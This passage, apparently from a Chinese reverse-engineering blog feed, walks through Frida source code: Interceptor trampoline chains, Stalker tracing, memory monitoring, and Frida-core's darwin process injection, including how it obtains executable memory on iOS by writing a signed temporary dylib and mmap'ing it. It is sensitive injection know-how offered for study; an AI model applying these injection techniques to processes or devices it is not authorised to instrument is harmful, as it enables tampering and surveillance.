invocation_ctx->backend->data = function_ctx->replacement_data; *next_hop = function_ctx->replacement_function;}else{ *next_hop = function_ctx->on_invoke_trampoline;}\n\n可以看到此处会将 on_leave_trampoline 二级跳板写入到用于储存返回地址的内存中去。也就是说被 hook 函数在执行完毕以后会返回到 on_leave_trampoline 。\n然后如果需要替换函数实现,那么就要把用于替换的实现代码地址写入当前函数的返回地址去,否则就将跳板注入进去。\n因此在该函数结束后会根据这一步选择接下来是执行 function_ctx->replacement_function 还是 function_ctx->on_invoke_trampoline 。\n前者就不难理解了,接下来就是调用我们自己实现的函数,并在返回的时候回到二级跳板。\n我们看看后者的实现:\n(gdb) x/17i function_ctx->on_invoke_trampoline 0x7fb6c82a30:\tstp\tx29, x30, [sp, #-16]! 0x7fb6c82a34:\tmov\tx29, sp 0x7fb6c82a38:\tsub\tsp, sp, #0x10 0x7fb6c82a3c:\tmov\tx8, #0x0 \t// #0 0x7fb6c82a40:\tldr\tx16, 0x7fb6c82a48 0x7fb6c82a44:\tbr\tx16 0x7fb6c82a48:\tcbnz\tx12, 0x7fb6cb7ae8//执行原本的函数\n\n此处用于调用原本的函数。\n这里我们留个疑问,先不管二级跳板 on_leave_trampoline 的实现是什么,现在再跟一下 leave_chunk:\nstatic voidgum_emit_leave_thunk (GumArm64Writer * aw){ gum_emit_prolog (aw); gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X1, ARM64_REG_SP, GUM_FRAME_OFFSET_CPU_CONTEXT); gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X2, ARM64_REG_SP, GUM_FRAME_OFFSET_NEXT_HOP); gum_arm64_writer_put_call_address_with_arguments (aw, GUM_ADDRESS (_gum_function_context_end_invocation), 3, GUM_ARG_REGISTER, ARM64_REG_X17, GUM_ARG_REGISTER, ARM64_REG_X1, GUM_ARG_REGISTER, ARM64_REG_X2); gum_emit_epilog (aw);}\n\n和前一个 chunk 的结构差不多,我们跟入 _gum_function_context_end_invocation :\nvoid_gum_function_context_end_invocation (GumFunctionContext * function_ctx, GumCpuContext * cpu_context, gpointer * next_hop){ gint system_error; InterceptorThreadContext * interceptor_ctx; GumInvocationStackEntry * stack_entry; GumInvocationContext * invocation_ctx; GPtrArray * listener_entries; guint i;#ifdef HAVE_WINDOWS system_error = gum_thread_get_system_error ();#endif gum_tls_key_set_value (gum_interceptor_guard_key, function_ctx->interceptor);#ifndef HAVE_WINDOWS system_error = gum_thread_get_system_error ();#endif interceptor_ctx = get_interceptor_thread_context (); stack_entry = gum_invocation_stack_peek_top (interceptor_ctx->stack);//1. 此处将函数返回时的地址设置为真正的返回值。该值在 enter_chunk 中被保存 *next_hop = gum_sign_code_pointer (stack_entry->caller_ret_addr);//此处省略......#ifndef GUM_DIET if (listener_entry->listener_interface->on_leave != NULL) {//2. 此处调用注册的 on_leave listener_entry->listener_interface->on_leave ( listener_entry->listener_instance, invocation_ctx); }}\n\n接下来回到最开始我们跳过的地方,按照代码的顺序,其实在完成上述跳板设置以后才开始准备二级跳板:\ngboolean_gum_interceptor_backend_create_trampoline (GumInterceptorBackend * self, GumFunctionContext * ctx){ ctx->on_enter_trampoline = gum_sign_code_pointer (gum_arm64_writer_cur (aw));//此处省略 gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X17, GUM_ADDRESS (ctx)); gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X16, GUM_ADDRESS (gum_sign_code_pointer (self->enter_thunk))); gum_arm64_writer_put_br_reg (aw, ARM64_REG_X16); ctx->on_leave_trampoline = gum_arm64_writer_cur (aw); gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X17, GUM_ADDRESS (ctx)); gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X16, GUM_ADDRESS (gum_sign_code_pointer (self->leave_thunk))); gum_arm64_writer_put_br_reg (aw, ARM64_REG_X16); gum_arm64_writer_flush (aw);//(6) g_assert (gum_arm64_writer_offset (aw) <= ctx->trampoline_slice->size); ctx->on_invoke_trampoline = gum_sign_code_pointer (gum_arm64_writer_cur (aw));\n\n该代码大致会实现如下结构:\non_enter_trampoline:ldr x17 context_addrldr x16 enter_thunkbr x16on_leave_trampoline:ldr x17 context_addrldr x16 leave_thunkbr x16//处写入代码,下面三个字存放地址context_addr:.dword addressenter_thunk:.dword addressleave_thunk:.dword addresson_invoke_trampoline:\n\n到这一步其实流程就清晰很多了。\n\n一级跳板进入到二级跳板 on_enter_trampoline\n二级跳板再跳转到三级跳板 enter_thunk\n三级跳板中再调用四级跳板 _gum_function_context_begin_invocation\n四级跳板将会调用注册的 on_enter 函数,并设置真正的返回地址,同时决定接下来要执行谁\n如果执行 on_invoke_trampoline ,那么将调用原本的函数\n否则将会调用我们用于替换的函数\n\n\n接下来执行流将返回到 on_leave_trampoline\n然后从该处跳转入三级跳板 leave_thunk\n再从三级跳板进入四级跳板 _gum_function_context_end_invocation\n在四级跳板中,将恢复真正的返回地址,并调用注册好的 on_leave 函数,最后从中返回\n\n而如果用户没有注册 on_leave 函数,那么钩子的步骤将会减少很多。在 _gum_function_context_begin_invocation 中将不会修改真正的返回地址,并直接让 next_hop 设置为 on_invoke_trampoline ,此时程序将直接离开钩子,因为后续不会再进入到 leave_chunk 了。\n额外的问题在上文中可以发现,几个跳板的实现其实是走了固定的寄存器的。因此如果程序本身本来就要使用这两个寄存器进行工作的话,去 hook 那些函数会导致非预期的结果。这个地方可能需要注意一下吧,毕竟大多数时候使用 frida 感觉 hook 基本上都是透明的,容易忽略到这种级别的问题。\nStalker其实笔者没怎么用过这个功能,它所实现的 “代码跟踪” 能力其实和调试器差不多,而如果能使用调试器进行调试的话,大部分问题其实都能解决,而就算不能使用调试器,靠 frida 的 hook 也能解决不少问题了,这导致笔者基本上没用过它。\n不过没用过不影响看看原理。因为 Stalker 是靠代码插桩的方式实现跟踪的,这和事情的 Interceptor 有点相似。\nStalker 的测试样例就比较多了,但我们只想对源代码的实现有所了解,因此不需要每个都看,选几个比较有意思的就行。这里笔者选了 TESTENTRY(call) 作为分析样例:\nTESTCASE (call){ StalkerTestFunc func; GumCallEvent * ev; func = invoke_flat (fixture, GUM_CALL); g_assert_cmpuint (fixture->sink->events->len, ==, 2); g_assert_cmpint (g_array_index (fixture->sink->events, GumEvent, 0).type, ==, GUM_CALL); ev = &g_array_index (fixture->sink->events, GumEvent, 0).call; GUM_ASSERT_CMPADDR (ev->location, ==, fixture->last_invoke_calladdr); GUM_ASSERT_CMPADDR (ev->target, ==, gum_strip_code_pointer (func));}\n\n关键的实现在 invoke_flat 中,这里我们跟入:invoke_flat - invoke_flat_expecting_return_value\nstatic StalkerTestFuncinvoke_flat_expecting_return_value (TestArm64StalkerFixture * fixture, GumEventType mask, guint expected_return_value){ StalkerTestFunc func; gint ret; func = (StalkerTestFunc) test_arm64_stalker_fixture_dup_code (fixture, flat_code, sizeof (flat_code)); fixture->sink->mask = mask; ret = test_arm64_stalker_fixture_follow_and_invoke (fixture, func, -1); g_assert_cmpint (ret, ==, expected_return_value); return func;}\n\n再跟入 test_arm64_stalker_fixture_follow_and_invoke:\nstatic ginttest_arm64_stalker_fixture_follow_and_invoke (TestArm64StalkerFixture * fixture, StalkerTestFunc func, gint arg){ GumAddressSpec spec; guint8 * code; GumArm64Writer cw; gint ret; GCallback invoke_func; spec.near_address = gum_strip_code_pointer (gum_stalker_follow_me); spec.max_distance = G_MAXINT32 / 2;//1. 创建新代码页用来储存接下来将要生成的代码 code = gum_alloc_n_pages_near (1, GUM_PAGE_RW, &spec); gum_arm64_writer_init (&cw, code);//2. 保存寄存器 gum_arm64_writer_put_push_reg_reg (&cw, ARM64_REG_X29, ARM64_REG_X30); gum_arm64_writer_put_mov_reg_reg (&cw, ARM64_REG_X29, ARM64_REG_SP);//3. 调用 gum_stalker_follow_me gum_arm64_writer_put_call_address_with_arguments (&cw, GUM_ADDRESS (gum_stalker_follow_me), 3, GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->stalker), GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->transformer), GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->sink)); /* call function -int func(int x)- and save address before and after call */ gum_arm64_writer_put_ldr_reg_address (&cw, ARM64_REG_X0, GUM_ADDRESS (arg)); fixture->last_invoke_calladdr = gum_arm64_writer_cur (&cw);//4. 调用原本的代码 gum_arm64_writer_put_call_address_with_arguments (&cw, GUM_ADDRESS (func), 0); fixture->last_invoke_retaddr = gum_arm64_writer_cur (&cw); gum_arm64_writer_put_ldr_reg_address (&cw, ARM64_REG_X1, GUM_ADDRESS (&ret)); gum_arm64_writer_put_str_reg_reg_offset (&cw, ARM64_REG_W0, ARM64_REG_X1, 0);//5. 取消跟踪 gum_arm64_writer_put_call_address_with_arguments (&cw, GUM_ADDRESS (gum_stalker_unfollow_me), 1, GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->stalker)); gum_arm64_writer_put_pop_reg_reg (&cw, ARM64_REG_X29, ARM64_REG_X30); gum_arm64_writer_put_ret (&cw); gum_arm64_writer_flush (&cw); gum_memory_mark_code (cw.base, gum_arm64_writer_offset (&cw)); gum_arm64_writer_clear (&cw); invoke_func = GUM_POINTER_TO_FUNCPTR (GCallback, gum_sign_code_pointer (code)); invoke_func (); gum_free_pages (code); return ret;}\n\n逻辑比较清晰,相当于将原本的代码注入到另外一片内存,然后对其进行插桩执行,并在插桩代码中记录覆盖率相关的信息。这里我们先从 gum_stalker_follow_me 开始,它是一个由汇编实现的函数:\n#ifdef __APPLE__ .globl _gum_stalker_follow_me_gum_stalker_follow_me:#else .globl gum_stalker_follow_me .type gum_stalker_follow_me, %functiongum_stalker_follow_me:#endif stp x29, x30, [sp, -16]! mov x29, sp mov x3, x30#ifdef __APPLE__ bl __gum_stalker_do_follow_me#else bl _gum_stalker_do_follow_me#endif ldp x29, x30, [sp], 16 br x0\n\n此处对于 Apple 架构和其他架构选用了两个不同的函数,不过我在源代码中并没有找到 __gum_stalker_do_follow_me 的声明或实现,这里我们将就这用 _gum_stalker_do_follow_me 进行理解吧:\ngpointer_gum_stalker_do_follow_me (GumStalker * self, GumStalkerTransformer * transformer, GumEventSink * sink, gpointer ret_addr){ GumExecCtx * ctx; gpointer code_address; ctx = gum_stalker_create_exec_ctx (self, gum_process_get_current_thread_id (), transformer, sink); g_private_set (&gum_stalker_exec_ctx_private, ctx); ctx->current_block = gum_exec_ctx_obtain_block_for (ctx, ret_addr, &code_address); if (gum_exec_ctx_maybe_unfollow (ctx, ret_addr)) { gum_stalker_destroy_exec_ctx (self, ctx); return ret_addr; } gum_event_sink_start (ctx->sink); ctx->sink_started = TRUE; return code_address + GUM_RESTORATION_PROLOG_SIZE;}\n\n关键内容跟入 gum_event_sink_start ,里面是用于记录覆盖率信息的具体函数,分别有两套实现,一套是用 quickjs ,另外一套是 v8 的实现,细节这里笔者就不深究了,大致逻辑如图:\n\n内存监控这部分内容也不是笔者关心的重点,但笔者找了一圈似乎没找到 arm64 下的实现,倒是有 x86 平台下的测试样例。因此本文也就不过多赘述了,大致原理就是设置内存页的读写权限,从而在读写监控页面的时候引发中断来监视内容。\n实现的内容分了 Windows 平台和 posix 平台两种,如下代码为 posix 平台:\nGumMemoryAccessMonitor *gum_memory_access_monitor_new (const GumMemoryRange * ranges, guint num_ranges, GumPageProtection access_mask, gboolean auto_reset, GumMemoryAccessNotify func, gpointer data, GDestroyNotify data_destroy){ GumMemoryAccessMonitor * monitor; guint i; monitor = g_object_new (GUM_TYPE_MEMORY_ACCESS_MONITOR, NULL); monitor->ranges = g_memdup (ranges, num_ranges * sizeof (GumMemoryRange)); monitor->num_ranges = num_ranges; monitor->access_mask = access_mask; monitor->auto_reset = auto_reset; monitor->pages_total = 0; for (i = 0; i != num_ranges; i++) { GumMemoryRange * r = &monitor->ranges[i]; gsize aligned_start, aligned_end; guint num_pages; aligned_start = r->base_address & ~((gsize) monitor->page_size - 1); aligned_end = (r->base_address + r->size + monitor->page_size - 1) & ~((gsize) monitor->page_size - 1); r->base_address = aligned_start; r->size = aligned_end - aligned_start; num_pages = r->size / monitor->page_size; g_atomic_int_add (&monitor->pages_remaining, num_pages); monitor->pages_total += num_pages; } monitor->notify_func = func; monitor->notify_data = data; monitor->notify_data_destroy = data_destroy; return monitor;}\n\ngbooleangum_memory_access_monitor_enable (GumMemoryAccessMonitor * self, GError ** error){ if (self->enabled) return TRUE; // ... self->exceptor = gum_exceptor_obtain (); gum_exceptor_add (self->exceptor, gum_memory_access_monitor_on_exception, self); // ...}\n\ngum-js这部分主要是做一个扫盲。细节可以参考 evilpan 大佬的文章,里面也大致介绍了 gum-js 的实现。\n简单来说就说,V8 支持对 JavaScript 的动态解析,并能够将其抽象到 C 语言层面进行调用。\nLocal<String> attach_name = String::NewFromUtf8Literal(GetIsolate(), "Attach");// 判断对象是否存在,以及类型是否是函数Local<Value> attach_val;if (!context->Global()->Get(context, attach_name).ToLocal(&attach_val) || !attach_val->IsFunction()) { return false;}// 如果是,则转换为函数类型Local<Function> attach_func = attach_val.As<Function>();// 将调用参数封装为 JS 对象Local<Object> obj = templ->NewInstance(GetIsolate()->GetCurrentContext()).ToLocalChecked();obj->SetInternalField(0, 0xdeadbeef);// 使用自定义的参数调用该 JS 函数,并获取返回结果TryCatch try_catch(GetIsolate());const int argc = 1;Local<Value> argv[argc] = {obj};Local<Value> result;attach_func->Call(context, context->Global(), argc, argv).ToLocal(&result);\n\n通过这种交互面板,就能给允许用户动态传入脚本进行执行了。之所以选择的是 JavaScript 而不是其他语言,就笔者估计来看,大致上有两个原因(以下内容为笔者的猜测,各位读者可以当看个乐子):\n\n首先编译型的语言肯定是不行了,因为它不支持动态调整,每次都要编译一份再运行肯定不太灵活\n而在解释型语言里就比较看重运行效率了。笔者曾写过一篇 V8 优化引擎 Turbofan 的原理分析,从其中可以大致理解到,V8 对 JavaScript 的优化效率几乎已经达到理论上限了,这意味着在各种解释型语言里,JS 的效率可能是最高的(这是区分场景的,但在 Frida 里,可能它是最合适的)\n\n\nTurbofan 可参考本文:https://bbs.kanxue.com/thread-273791.htm\n\n参考https://evilpan.com/2022/04/05/frida-internal/#stalkerhttps://zhuanlan.zhihu.com/p/603717118https://o0xmuhe.github.io/2019/11/15/frida-gum%E4%BB%A3%E7%A0%81%E9%98%85%E8%AF%BB/#2-2-2-hook%E4%BB%8E0%E5%88%B01\n","categories":["Note","逆向工程"],"tags":["逆向工程","Frida"]},{"title":"Frida-Core 源代码分析解读","url":"/2023/08/28/Frida-Core-%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E8%A7%A3%E8%AF%BB/","content":"前言书接上文,在理解了 frida 是如何对代码进行 hook 的以后,接下来笔者打算研究一下 Frida 是如何与用户进行交互实现动态的 hook 。因此还是按照前文的逻辑,我们从 frida-core 开始。\n\n前篇:《Frida-gum 源代码速通笔记》https://bbs.kanxue.com/thread-278423.htm\n\n本文内容目录本文主要涉及的是 Frida-core 模块的实现代码分析,大致内容包括:\n\nFrida-Core\nFrida-Server\n进程注入\nfrida-server 工作流程\nfrida-agent\nfrida-helper\n\n\nFrida-Gadget\nlaunchd\n总结 / 以及一个奇怪的问题\n\n\n\nFrida-Core进程注入首先要解决的第一个问题是,我们尽管知道 Frida-gum 能够对程序进行动态插桩,并也在上一节中介绍过它的工作原理,但是也正如我们所知,无论在 Android 还是 iOS 或者其他平台,进程和进程直接相互是透明的,就算对 Frida 来说目标进程并非透明的,但是对目标进程来说,至少 Frida 也该是透明的。但是现实情况显然是,二者往往需要相互之间识别并交互。\n那么解决方案似乎也呼之欲出了,既然两个进程不能相互识别,那么让它们成为一个进程不就好了?\n由于笔者本文主要是面向 iOS 的,因此下文中笔者会选择 darwin 平台的代码进行分析。对于 Android 平台,frida 的实现是有所不同的,不过大体的逻辑还是有些相似的,仅供参考。\n本部分的代码主要定义在 inject/src/darwin/darwin-host-session.vala 中,可以注意到,它是由 vala 编写的语言,这对我来说有些陌生。不过好在它的语法结构和 C 很像,并且编译 vala 的过程其实就是把它先转为 C 代码再使用 C 的编译器完成的,因此大体上还是能够从语意上理解逻辑。\n\n糟糕的是,我的 VSCode 不再支持代码跟踪了,即便装了插件也还是如此,要命。\n\n//inject/src/darwin/darwin-host-session.vala\t\tprivate async uint inject_agent (uint pid, string agent_parameters, Cancellable? cancellable) throws Error, IOError {\t\t\tuint id;\t\t\tunowned string entrypoint = "frida_agent_main";#if HAVE_EMBEDDED_ASSETS\t\t\tid = yield fruitjector.inject_library_resource (pid, agent, entrypoint, agent_parameters, cancellable);#else\t\t\tstring agent_path = Config.FRIDA_AGENT_PATH;#if IOS || TVOS\t\t\tunowned string? cryptex_path = Environment.get_variable ("CRYPTEX_MOUNT_PATH");\t\t\tif (cryptex_path != null)\t\t\t\tagent_path = cryptex_path + agent_path;#endif\t\t\tid = yield fruitjector.inject_library_file (pid, agent_path, entrypoint, agent_parameters, cancellable);#endif\t\t\treturn id;\t\t}\n\n跟入 inject_library_file :\n//inject/src/darwin/fruitjector.vala\t\tpublic async uint inject_library_file (uint pid, string path, string entrypoint, string data,\t\t\t\tCancellable? cancellable) throws Error, IOError {\t\t\tvar id = yield helper.inject_library_file (pid, path, entrypoint, data, cancellable);\t\t\tpid_by_id[id] = pid;\t\t\treturn id;\t\t}\n\n因此再次跟入 inject_library_file :\n//inject/src/darwin/frida-helper-service.vala\t\tpublic async uint inject_library_file (uint pid, string path, string entrypoint, string data, Cancellable? cancellable)\t\t\t\tthrows Error, IOError {\t\t\treturn yield backend.inject_library_file (pid, path, entrypoint, data, cancellable);\t\t}\n\n好吧,我们再次跟入:\n//inject/src/darwin/frida-helper-backend.vala\t\tpublic async uint inject_library_file (uint pid, string path, string entrypoint, string data, Cancellable? cancellable)\t\t\t\tthrows Error, IOError {\t\t\treturn yield _inject (pid, path, null, entrypoint, data, cancellable);\t\t}\n\n继续跟入 _inject :\n//inject/src/darwin/frida-helper-backend.vala\t\tprivate async uint _inject (uint pid, string path_or_name, MappedLibraryBlob? blob, string entrypoint, string data,\t\t\t\tCancellable? cancellable) throws Error, IOError {\t\t\tyield prepare_target (pid, cancellable);\t\t\tvar task = task_for_pid (pid);\t\t\ttry {\t\t\t\treturn _inject_into_task (pid, task, path_or_name, blob, entrypoint, data);\t\t\t} finally {\t\t\t\tdeallocate_port (task);\t\t\t}\t\t}\n\n可以看见此处将会使用 _inject_into_task 实现进程注入的方式,这里跟入 _frida_darwin_helper_backend_inject_into_task ,由于函数体比较大,这里省略部分代码:\nguint_frida_darwin_helper_backend_inject_into_task (FridaDarwinHelperBackend * self, guint pid, guint task, const gchar * path_or_name, FridaMappedLibraryBlob * blob, const gchar * entrypoint, const gchar * data, GError ** error){//此处省略//1. 初始化实例 self_task = mach_task_self (); instance = frida_inject_instance_new (self, self->next_id++, pid); mach_port_mod_refs (self_task, task, MACH_PORT_RIGHT_SEND, 1); instance->task = task; resolver = gum_darwin_module_resolver_new (task, &io_error);//此处省略//2. 在进程的内存空间中开辟内存 kr = mach_vm_allocate (task, &payload_address, instance->payload_size, VM_FLAGS_ANYWHERE); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_allocate(payload)"); instance->payload_address = payload_address; kr = mach_vm_allocate (self_task, &agent_context_address, layout.data_size, VM_FLAGS_ANYWHERE); g_assert (kr == KERN_SUCCESS); instance->agent_context = (FridaAgentContext *) agent_context_address; instance->agent_context_size = layout.data_size; data_address = payload_address + layout.data_offset; kr = mach_vm_remap (task, &data_address, layout.data_size, 0, VM_FLAGS_OVERWRITE, self_task, agent_context_address, FALSE, &cur_protection, &max_protection, VM_INHERIT_SHARE);//此处省略//3. 修改内存段权限 kr = mach_vm_protect (task, payload_address + layout.stack_guard_offset, layout.stack_guard_size, FALSE, VM_PROT_NONE); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_protect");//4. 初始化实例 if (!frida_agent_context_init (&agent_ctx, &details, &layout, payload_address, instance->payload_size, resolver, mapper, error)) goto failure;//5. 创建代码 frida_agent_context_emit_mach_stub_code (&agent_ctx, mach_stub_code, resolver, mapper); frida_agent_context_emit_pthread_stub_code (&agent_ctx, pthread_stub_code, resolver, mapper);\n\n正如注释中所述,其实就是通过 iOS 平台本身提供的 api 往进程的内存空间中开辟内存段。\n关键是接下来的部分。如果该平台允许存在 rwx 段那么将执行如下代码:\n if (gum_query_is_rwx_supported () || !gum_code_segment_is_supported ()) {//1. 向进程内存空间中写入 mach_stub_code 的代码 kr = mach_vm_write (task, payload_address + layout.mach_code_offset, (vm_offset_t) mach_stub_code, sizeof (mach_stub_code)); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_write(mach_stub_code)");//2. 向进程内存空间中写入 pthread_stub_code 的代码 kr = mach_vm_write (task, payload_address + layout.pthread_code_offset, (vm_offset_t) pthread_stub_code, sizeof (pthread_stub_code)); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_write(pthread_stub_code)");//3. 将权限改为 rx kr = mach_vm_protect (task, payload_address + layout.code_offset, page_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_protect"); }\n\n\n注意,对于已越狱的 iOS 设备,这么做是可行的;但是对于非越狱设备,系统并不允许由用户分配带有执行权限的内存段,同理也不允许修改段段权限为可执行。\n\n而对于不支持上述条件的情况,包括设备未越狱,那么则使用如下分支:\n else { GumCodeSegment * segment; guint8 * scratch_page; mach_vm_address_t code_address;//1.创建一个新的内存段,此时它尚且没有执行权限 segment = gum_code_segment_new (page_size, NULL);//2. 将代码拷贝到该内存段 scratch_page = gum_code_segment_get_address (segment); memcpy (scratch_page + layout.mach_code_offset, mach_stub_code, sizeof (mach_stub_code)); memcpy (scratch_page + layout.pthread_code_offset, pthread_stub_code, sizeof (pthread_stub_code));//3. 为代码构造具有可执行权限的内存段 gum_code_segment_realize (segment); gum_code_segment_map (segment, 0, page_size, scratch_page);//4。 将其映射到 code_address 去 code_address = payload_address + layout.code_offset; kr = mach_vm_remap (task, &code_address, page_size, 0, VM_FLAGS_OVERWRITE, self_task, (mach_vm_address_t) scratch_page, FALSE, &cur_protection, &max_protection, VM_INHERIT_COPY); gum_code_segment_free (segment); CHECK_MACH_RESULT (kr, ==, KERN_SUCCESS, "mach_vm_remap(code)"); }\n\n\n笔者大致查了一下,在 iOS 中,程序的代码段都是需要经过签名验证的,因此对于未经过签名的代码段是会因此而产生异常的,所以在 iOS 上不能使用 smc 也是这个原因,因为代码要么不可变要么不可执行。但反过来,它们允许用户删除对代码段的执行权限,这是合法的。\n\n这里我们跟入 gum_code_segment_realize 看看是如何得到可执行内存段的:\nstatic gbooleangum_code_segment_try_realize (GumCodeSegment * self){ gchar * dylib_path; GumCodeLayout layout; guint8 * dylib_header; gsize dylib_header_size; guint8 * code_signature; gint res; fsignatures_t sigs;//1. 创建临时文件 frida-XXXXXX.dylib self->fd = gum_file_open_tmp ("frida-XXXXXX.dylib", &dylib_path); if (self->fd == -1) return FALSE; gum_code_segment_compute_layout (self, &layout);//2. 构造 mach 文件头 dylib_header = g_malloc0 (layout.header_file_size); gum_put_mach_headers (dylib_path, &layout, dylib_header, &dylib_header_size);//3. 构造 code signature code_signature = g_malloc0 (layout.code_signature_file_size); gum_put_code_signature (dylib_header, self->data, &layout, code_signature);//4. 写入文件 gum_file_write_all (self->fd, GUM_OFFSET_NONE, dylib_header, dylib_header_size); gum_file_write_all (self->fd, layout.text_file_offset, self->data, layout.text_size); gum_file_write_all (self->fd, layout.code_signature_file_offset, code_signature, layout.code_signature_file_size); sigs.fs_file_start = 0; sigs.fs_blob_start = GSIZE_TO_POINTER (layout.code_signature_file_offset); sigs.fs_blob_size = layout.code_signature_file_size;//3. 添加签名 res = fcntl (self->fd, F_ADDFILESIGS, &sigs); unlink (dylib_path); g_free (code_signature); g_free (dylib_header); g_free (dylib_path); return res == 0;}\n\n以上操作完成了构造一个 dylib 的行为,接下来程序将会调用 gum_code_segment_try_map 将该动态库映射到内存中:\nstatic gbooleangum_code_segment_try_map (GumCodeSegment * self, gsize source_offset, gsize source_size, gpointer target_address){ gpointer result; result = mmap (target_address, source_size, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_FIXED, self->fd, gum_query_page_size () + source_offset); return result != MAP_FAILED;}\n\n注意到此处使用 mmap 去映射文件到 target_address 并给出了可读可执行的权限标志。接下来这段内存就已经被注入到进程中去了。\n其实这个地方用到的就是一个小 trick。正如前文所说,iOS 不允许让一个 rw 页面变为 rx,也不允许让 rx 页面变为 rwx ,但是加载可执行文件的行为是不被禁止的,因为那属于正常的诉求,因此这里用需要注入的代码去构建可执行文件,最后再将其映射到内存中去,这样就没有修改任何页面了权限了。\n\n其实实际原因是,对于正常组织的代码段,有一个 max_protection 去限制能够允许 mprotect 设定权限的范围,默认情况下会被限制为 rx,也就是说只允许对这段内存给出 rx 中的范围。但是通过 mmap 创建的内存段的 max_protection 是允许给出 rwx 权限的。所以实际是只要最后是用 mmap 去构建注入内存,总会有办法解决的。\n\n\n您也可以参考本文:https://www.codercto.com/a/63507.html\n\n最后调用 mach_vm_remap 把这段内存重新映射回去即可。\nfrida-server在介绍了大致的 frida 进程注入的原理以后,接下来我们正式开始跟一下 frida 具体是如何开始工作的。\n在启动 frida 后,程序将从 run_application 开始向下调用 application.run ,然后再往下调用 start.begin,此时,它将通过 service.start 去启动一个 ControlService :\n\t\tpublic async void start (Cancellable? cancellable = null) throws Error, IOError {\t\t\tif (state != STOPPED)\t\t\t\tthrow new Error.INVALID_OPERATION ("Invalid operation");\t\t\tstate = STARTING;\t\t\ttry {//1. WebService 被启动\t\t\t\tyield service.start (cancellable);\t\t\t\tif (options.enable_preload) {//2. 创建 BaseDBusHostSession\t\t\t\t\tvar base_host_session = host_session as BaseDBusHostSession;\t\t\t\t\tif (base_host_session != null)\t\t\t\t\t\tbase_host_session.preload.begin (io_cancellable);\t\t\t\t}\t\t\t\tstate = STARTED;\t\t\t} finally {\t\t\t\tif (state != STARTED)\t\t\t\t\tstate = STOPPED;\t\t\t}\t\t}\n\n接下来我们跟入 WebService :\n\t\tpublic async void start (Cancellable? cancellable) throws Error, IOError {\t\t\tfrida_context = MainContext.ref_thread_default ();\t\t\tdbus_context = yield get_dbus_context ();\t\t\tcancellable.set_error_if_cancelled ();\t\t\tvar start_request = new Promise<SocketAddress> ();//1. handle_start_request 开始调度\t\t\tschedule_on_dbus_thread (() => {\t\t\t\thandle_start_request.begin (start_request, cancellable);\t\t\t\treturn false;\t\t\t});\t\t\t_listen_address = yield start_request.future.wait_async (cancellable);\t\t}\n\n而 handle_start_request 会向下调用 do_start 完成具体的工作,包括监听地址,设置处理函数等:\n\t\tprivate async SocketAddress do_start (Cancellable? cancellable) throws Error, IOError {\t\t\tserver = (Soup.Server) Object.new (typeof (Soup.Server),\t\t\t\t"tls-certificate", endpoint_params.certificate);//1. 设置 websocket_handler\t\t\tserver.add_websocket_handler ("/ws", endpoint_params.origin, null, on_websocket_opened);//......此处省略\t\t\t\tSocketAddress? effective_address = null;\t\t\t\tInetSocketAddress? inet_address = address as InetSocketAddress;\t\t\t\tif (inet_address != null) {\t\t\t\t\tuint16 start_port = inet_address.get_port ();\t\t\t\t\tuint16 candidate_port = start_port;\t\t\t\t\tdo {\t\t\t\t\t\ttry {//2. 监听地址\t\t\t\t\t\t\tserver.listen (inet_address, listen_options);\n\n跟入 on_websocket_opened :\nprivate void on_websocket_opened (Soup.Server server, Soup.ServerMessage msg, string path,\t\tSoup.WebsocketConnection connection) {\tvar peer = new WebConnection (connection);\tIOStream soup_stream = connection.get_io_stream ();\tSocketConnection socket_stream;\tsoup_stream.get ("base-iostream", out socket_stream);\tSocketAddress remote_address;\ttry {\t\tremote_address = socket_stream.get_remote_address ();\t} catch (GLib.Error e) {\t\tassert_not_reached ();\t}\tschedule_on_frida_thread (() => {\t\tincoming (peer, remote_address);\t\treturn false;\t});}\n\n此处发送了 incoming 信号,而对应的处理被在构造函数中可见:\n\t\tconstruct {\t\t\thost_session.spawn_added.connect (notify_spawn_added);\t\t\thost_session.child_added.connect (notify_child_added);\t\t\thost_session.child_removed.connect (notify_child_removed);\t\t\thost_session.process_crashed.connect (notify_process_crashed);\t\t\thost_session.output.connect (notify_output);\t\t\thost_session.agent_session_detached.connect (on_agent_session_detached);\t\t\thost_session.uninjected.connect (notify_uninjected);\t\t\tservice = new WebService (endpoint_params, CONTROL);//1. 此处注册了 on_server_connection\t\t\tservice.incoming.connect (on_server_connection);\t\t\tbroker_service.incoming.connect (on_broker_service_connection);\t\t}\n\n从 on_server_connection 跟入 handle_server_connection :\n\t\tprivate async void handle_server_connection (IOStream raw_connection) throws GLib.Error {//1. 创建 DBusConnection\t\t\tvar connection = yield new DBusConnection (raw_connection, null, DELAY_MESSAGE_PROCESSING, null, io_cancellable);\t\t\tconnection.on_closed.connect (on_connection_closed);\t\t\tPeer peer;\t\t\tAuthenticationService? auth_service = endpoint_params.auth_service;\t\t\tif (auth_service != null)\t\t\t\tpeer = new AuthenticationChannel (this, connection, auth_service);\t\t\telse//2. 创建 controlchannel\t\t\t\tpeer = setup_control_channel (connection);\t\t\tpeers[connection] = peer;\t\t\tconnection.start_message_processing ();\t\t}\n\n对于不需要认证的情况,将会调用 setup_control_channel 完成初始化,而该函数将会返回一个 ControlChannel 对象,其构造函数如下:\nconstruct {\ttry {\t\tHostSession session = this;\t\tregistrations.add (connection.register_object (ObjectPath.HOST_SESSION, session));\t\tAuthenticationService null_auth = new NullAuthenticationService ();\t\tregistrations.add (connection.register_object 